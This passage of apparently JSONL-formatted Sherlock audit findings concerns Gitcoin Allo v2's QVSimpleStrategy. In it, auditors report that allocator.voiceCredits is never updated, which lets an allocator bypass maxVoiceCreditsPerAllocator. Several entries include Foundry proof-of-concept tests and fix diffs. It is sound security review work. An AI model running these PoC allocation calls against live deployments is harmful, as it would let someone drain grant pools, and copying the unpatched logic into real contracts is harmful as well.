_sender);\n //@audit: Increment the allocator's voice credits\n allocator.voiceCredits += voiceCreditsToAllocate;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/398.md"}} +{"title":"The `QVSimpleStrategy.maxVoiceCreditsPerAllocator` can be evaded by the allocator causing that he can allocate infinite credits to the same recipient","severity":"medium","body":"Brief Mahogany Tiger\n\nhigh\n\n# The `QVSimpleStrategy.maxVoiceCreditsPerAllocator` can be evaded by the allocator causing that he can allocate infinite credits to the same recipient\n\nThe allocator can evade the `QVSimpleStrategy.maxVoiceCreditsPerAllocator` limit causing that the allocator can allocate infinite credits to the same or multiple recipients.\n\n## Vulnerability Detail\n\nThe allocator can assign infinite credits to the same recipient using the [QVSimpleStrategy::_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107) function evading the [_hasVoiceCreditsLeft()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121) function. The problem is that [allocator.voiceCredits](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121C59-L121C81) does not increment when the credits are assigned so the `allocator.voiceCredits` always will be zero and the [_hasVoiceCreditsLeft()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144) can be evaded.\n\nThen the `recipient` can get a bigger payout because the [recipient.totalVotesReceived](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L527) can be increased without any restriction by the `allocator`. The function `_getPayout()` in the [code line 571](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571C45-L571C63) the amount to pay is calculated based on the `recipient.TotalVotesReceived`:\n\n```solidity\nFile: QVBaseStrategy.sol\n559: function _getPayout(address _recipientId, bytes memory)\n560: internal\n561: view\n562: virtual\n563: override\n564: returns (PayoutSummary memory)\n565: {\n566: Recipient memory recipient = recipients[_recipientId];\n567: \n568: // Calculate the payout amount based on the percentage of total votes\n569: uint256 amount;\n570: if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n571: amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n572: }\n573: return PayoutSummary(recipient.recipientAddress, amount);\n574: }\n```\n\nI created a test where the same allocator can assign more than `100 credits` (the current `maxVoiceCreditsPerAllocator` is 100). That is incorrect because the same `allocator` can assign multiple credits to the same `recipient` causing that the recipient receives a bigger payout because he receives more votes. In the next test `recipientId` receives `180 credits` by the same allocator which is incorrect because the max limit per allocator is `100`:\n\n```solidity\n// File: test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n// $ forge test --match-test \"testRevert_allocate_multiple_time_evading_maxVoiceCreditsPerAllocator\" -vvv\n//\n function testRevert_allocate_multiple_time_evading_maxVoiceCreditsPerAllocator() public {\n // The `maxVoiceCreditsPerAllocator` can be evaded because the `allocator.voiceCredits` does not\n // increment in each allocating action causing that the allocator can allocate infinate credits.\n //\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n //\n // Create the allowed allocator\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n vm.stopPrank();\n vm.warp(allocationStartTime + 10);\n //\n // Allocator cast 90 credits to allocate to recipientId.\n // The recipientId has 9486832980 votes\n bytes memory allocateData = __generateAllocation(recipientId, 90);\n vm.startPrank(allocator);\n allo().allocate(poolId, allocateData);\n (uint256 recipientTotalVotesReceived,,,,) = qvSimpleStrategy().recipients(recipientId);\n assertEq(recipientTotalVotesReceived, 9486832980);\n //\n // Same Allocator cast another 90 credits to allocate to recipientId.\n // The recipientId has 13416407864 votes\n // The Allocator evaded the `maxVoiceCreditsPerAllocator`\n allo().allocate(poolId, allocateData);\n (recipientTotalVotesReceived,,,,) = qvSimpleStrategy().recipients(recipientId);\n assertEq(recipientTotalVotesReceived, 13416407864);\n vm.stopPrank();\n }\n```\n## Impact\n\nThe `allocator` can use his credits to multiply the `recipient` payout since the allocator can assign credits multiple times evading the `QVSimpleStrategy.maxVoiceCreditsPerAllocator`. Malicious allocator can collude with a recipient then extract all the available amount in the pool.\n\n## Code Snippet\n\n- [QVSimpleStrategy::_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107C14-L107C23)\n- [QVSimpleStrategy::_hasVoiceCreditsLeft](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C14-L144C34)\n- [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506)\n- [QVBaseStrategy::_getPayout()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559C14-L559C24)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nIncrease the `allocator.voiceCredits` in the [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C14-L506C26) function:\n\n```diff\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n++ _allocator.voiceCredits += _voiceCreditsToAllocate;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\nThen the [hasVoiceCreditsLeft()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121C59-L121C82) call can work correctly.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/377.md"}} +{"title":"`allocator.voiceCredits` in QVSimpleStrategy contract is not getting updated in `allocate()` function causing unlimited voting power","severity":"medium","body":"Immense Teal Penguin\n\nhigh\n\n# `allocator.voiceCredits` in QVSimpleStrategy contract is not getting updated in `allocate()` function causing unlimited voting power\n`allocator.voiceCredits` in QVBaseStrategy contract is not getting updated in `allocate()` causing unlimited voting power\n## Vulnerability Detail\nThe purpose of `allocator.voiceCredits` variable is checking how much that allocator have voted. But `allocator.voiceCredits` is not getting updated anywhere, making it always be `0`\n## Impact\nAllocator can exploit it by calling `allocate()` multiple time with `voiceCreditsToAllocate` input equal to `maxVoiceCreditsPerAllocator` variable, so that it can surpass this requirement:\n```solidity\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\nBy calling multiple time, allocators basically have unlimited voting power\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107C1-L124C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C1-L534C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd this line:\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n ...\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n+ _allocator.voiceCredits += _voiceCreditsToAllocate;\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/368.md"}} +{"title":"Missing adjustments on `allocator.voiceCredits` allows bypassing `maxVoiceCreditsPerAllocator`","severity":"medium","body":"Rhythmic Lime Pig\n\nhigh\n\n# Missing adjustments on `allocator.voiceCredits` allows bypassing `maxVoiceCreditsPerAllocator`\nAllocators can allocate voice credits indefinitely affecting votes and payouts within a strategy.\n\n## Vulnerability Detail\nAllocators are assigned to allocate voice credits to recipients, each allocator can allocate upto `maxVoiceCreditsPerAllocator`.\nThis can be tracked by `_hasVoiceCreditsLeft`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144 \n```solidity\n /// @notice Checks if the allocator has voice credits left\n /// @param _voiceCreditsToAllocate The voice credits to allocate\n /// @param _allocatedVoiceCredits The allocated voice credits\n /// @return true if the allocator has voice credits left\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\nThe issue is that after an allocator allocates credit to a recipient `allocator.voiceCredits` is never updated to account for these credits which means an allocator can allocate credits indefinitely bypassing `maxVoiceCreditsPerAllocator`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();//@audit-info\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);//@audit-issue allocator.voiceCredits is never updated.\n }\n```\nYou can see that `allocator.voiceCredits` is not updated within [_qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506). \nThis is problematic since the number of credits or votes received by a recipient is used to determine the [payout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L448) when distributing tokens to recipients, an allocator can essentially allocate a lot of credit to recipients(this could also be accounts controlled by the allocator).\nNote: allocators are not trusted they can be added or removed by the pool managers.\n\n## Impact\nAllocators can bypass `maxVoiceCreditsPerAllocator` which could drain the token distribution from a strategy.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L123\n\n## Tool used\nManual Review\n\n## Recommendation\nUpdate `allocator.voiceCredits` each time an allocator allocates credit to a recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/364.md"}} +{"title":"An allocator might allocate ``voiceCredits`` without any limit, exceeding ``maxVoiceCreditsPerAllocator`` due to forgetting to increase allocator.voiceCredits.","severity":"medium","body":"Fresh Indigo Platypus\n\nmedium\n\n# An allocator might allocate ``voiceCredits`` without any limit, exceeding ``maxVoiceCreditsPerAllocator`` due to forgetting to increase allocator.voiceCredits.\nEach alllocator can allocate at most ``maxVoiceCreditsPerAllocator`` voiceCredits. The amount of voiceCredits that have been allocated so far\nis maintained in ``allocator.voiceCredits``. Therefore, each time when some voiceCredits are allocated, ``allocator.voiceCredits`` should be increased by that amount. Unfortunately, ``QVSimpleStrategy._allocate()`` never increases ``allocator.voiceCredits``. As a result, in total, \nan allocator can effectively allocate voiceCredits without any limit. A violation of ``maxVoiceCreditsPerAllocator`` will occur. \n\n## Vulnerability Detail\nQVSimpleStrategy._allocate() allows a sender to allocate voiceCredit to a recipient: \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107C40-L124](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107C40-L124)\n\nIt invokes ``QVBaseStrategy._qv_allocate()`` to achieve this: \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C14-L534](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C14-L534)\n\nIt is important to ensure that each alllocator can allocate at most ``maxVoiceCreditsPerAllocator`` voiceCredits. This is checked by ``_hasVoiceCreditsLeft()``:\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C7-L151](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C7-L151)\n\nwhere ``allocator.voiceCredits`` maitains the voiceCredits used so far for the allocator. \n\nUnfortunately, neither ``QVSimpleStrategy._allocate()`` nor ``QVBaseStrategy._qv_allocate()``\nincreases ``allocator.voiceCredits``. In other words, ``allocator.voiceCredits`` will always be zero. \n\nTherefore, each allocator can allocate up to ``maxVoiceCreditsPerAllocator`` voiceCredits, but the number of allocations and the total of allocation have no limit. In total, an allocator can allocate more than ``maxVoiceCreditsPerAllocator`` voiceCredits. A violation. \n\n## Impact\nIn total, an allocator can allocate more than ``maxVoiceCreditsPerAllocator`` voiceCredits. A violation. \n\n## Code Snippet\n\n## Tool used\nVSCode\n\nManual Review\n\n## Recommendation\nWe need to update ``allocator.voiceCredits += voiceCreditsToAllocate;`` when calling ``_allocate``: \n\n```diff\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n+ allocator.voiceCredits += voiceCreditsToAllocate;\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/353.md"}} +{"title":"maxVoiceCreditsPerAllocator can be bypassed","severity":"medium","body":"Passive Golden Skunk\n\nmedium\n\n# maxVoiceCreditsPerAllocator can be bypassed\n\n## Vulnerability Detail\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override { \n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender); \n }\n```\nWhen allocating votes to a recipient, the [_hasVoiceCreditsLeft()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152) function checks if the allocator has voice credits left. The problem is that allocators can bypass the maxVoiceCreditsPerAllocator because allocators.VoiceCredit wasn't updated inside _allocate() function.\n\nPOC:\nQVSimpleStrategy.t.sol\n\n```solidity\nfunction test_maxVoiceCreditsPerAllocator() public {\n //@audit\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n \n vm.warp(allocationStartTime + 10);\n\n bytes memory allocateData = __generateAllocation(recipientId, 100);\n bytes memory allocateData1 = __generateAllocation(recipientId, 1);\n\n vm.stopPrank();\n\n vm.startPrank(address(allo()));\n\n assertEq(qvSimpleStrategy().maxVoiceCreditsPerAllocator(), 100);\n\n qvSimpleStrategy().allocate(allocateData, allocator); // 100\n qvSimpleStrategy().allocate(allocateData1, allocator); // 101\n }\n```\n## Impact\nAllocators can bypass the maxVoiceCreditsPerAllocator limit.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the allocator.VoiceCredits when allocators allocate to someone.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/304.md"}} +{"title":"Infinite Votes Possible Due to Incorrect `voiceCredits` Handling","severity":"medium","body":"Little Cloth Coyote\n\nhigh\n\n# Infinite Votes Possible Due to Incorrect `voiceCredits` Handling\n`voiceCredits` for valid allocators are not properly incremented when casting votes, allowing them to bypass checks in the allocation process.\n\n## Vulnerability Detail\nEvery valid allocator is granted a certain amount of `maxVoiceCreditsPerAllocator`, symbolizing their voting power. However, there's an issue in `_qv_allocate()` where allocator's voice credits aren't correctly incremented after casting votes. Consequently, valid allocators can always bypass `_hasVoiceCreditsLeft()` in `_allocate()` and allow them to cast infinite amount of votes.\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n## Impact\nValid allocator can cast infinite amount of votes, leading to incorrect fund distribution in `_distribute()`.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n+ _allocator.voiceCredits += _voiceCreditsToAllocate;\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/289.md"}} +{"title":"the of voiceCredits not record lead to a single allocator could allocate an unlimited amount of voice credits","severity":"medium","body":"Original Navy Donkey\n\nhigh\n\n# the of voiceCredits not record lead to a single allocator could allocate an unlimited amount of voice credits\nthe of voiceCredits not record lead to a single allocator could allocate an unlimited amount of voice credits\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107#L124\n\nwhile initializing contract we set the maximum voice credits per allocator to `maxVoiceCreditsPerAllocator` , and check whether it exceeds the limit via `_hasVoiceCreditsLeft` function. But the value of `allocator.voiceCredits` not record which lead to single allocator can't exceeds the limit of `maxVoiceCreditsPerAllocator` in single transactino . Howerer allocator can make multiple transactions lead t o bypass the limit \n\nthis is test case:\n\n```solidity\n function testAllocate() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n vm.warp(allocationStartTime + 10);\n\n qvSimpleStrategy().addAllocator(allocator);\n\n\n vm.stopPrank();\n bytes memory allocateData = __generateAllocation(recipientId, maxVoiceCreditsPerAllocator);\n\n vm.startPrank(address(allo()));\n\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n}\n```\n\nNote that each transaction we use maxVoiceCreditsPerAllocator.\n\n## Impact\nallocator could allocate an unlimited amount of voice credits\n## Code Snippet\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID(); //@audit <---------not record value.\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nwe should record the value of allocator.voiceCredits after successfully allocate","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/284.md"}} +{"title":"Allocator can allocate as much voice credits as he wants","severity":"medium","body":"Obedient Basil Lizard\n\nhigh\n\n# Allocator can allocate as much voice credits as he wants\nIn [QVSimpleStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol) an allocator can allocate as much voice credits as he wants. This is happening because the total allocated amount for this allocator never increases.\n\n## Vulnerability Detail\nWhen an allocator calls [allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352-L354) in **Allo**, it triggers the **BaseStrategy**'s [allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L182-L186) which in tern calls [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124) in **QVSimpleStrategy** where our issue begins. [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124) checks for if the allocator [has spend](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121) it's credits.\n```solidity\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\nHowever it misses to assign those to be \"spend credits\" to the allocator, leaving `allocator.voiceCredits` at 0. This means that an allocator can call `allocate` multiple time with the only condition, that the current allocation is bellow `maxVoiceCreditsPerAllocator`, as due to [this check](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L150):\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits) internal view override returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\n## Impact\nAllocator can allocate as many votes as he pleases. He can also use these allocations to steal the rewards ( [_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571) calculates the rewards on the number of votes ), by allocating most of the votes to himself or a trusted recipient. \n \n## Code Snippet\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n //@audit H allocator.voiceCredits stay at 0 always, he can call this multiple times\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIncrease ` allocator.voiceCredits`:\n```diff\n function _allocate(...) internal virtual override {\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n+ allocator.voiceCredits += voiceCreditsToAllocate;\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n 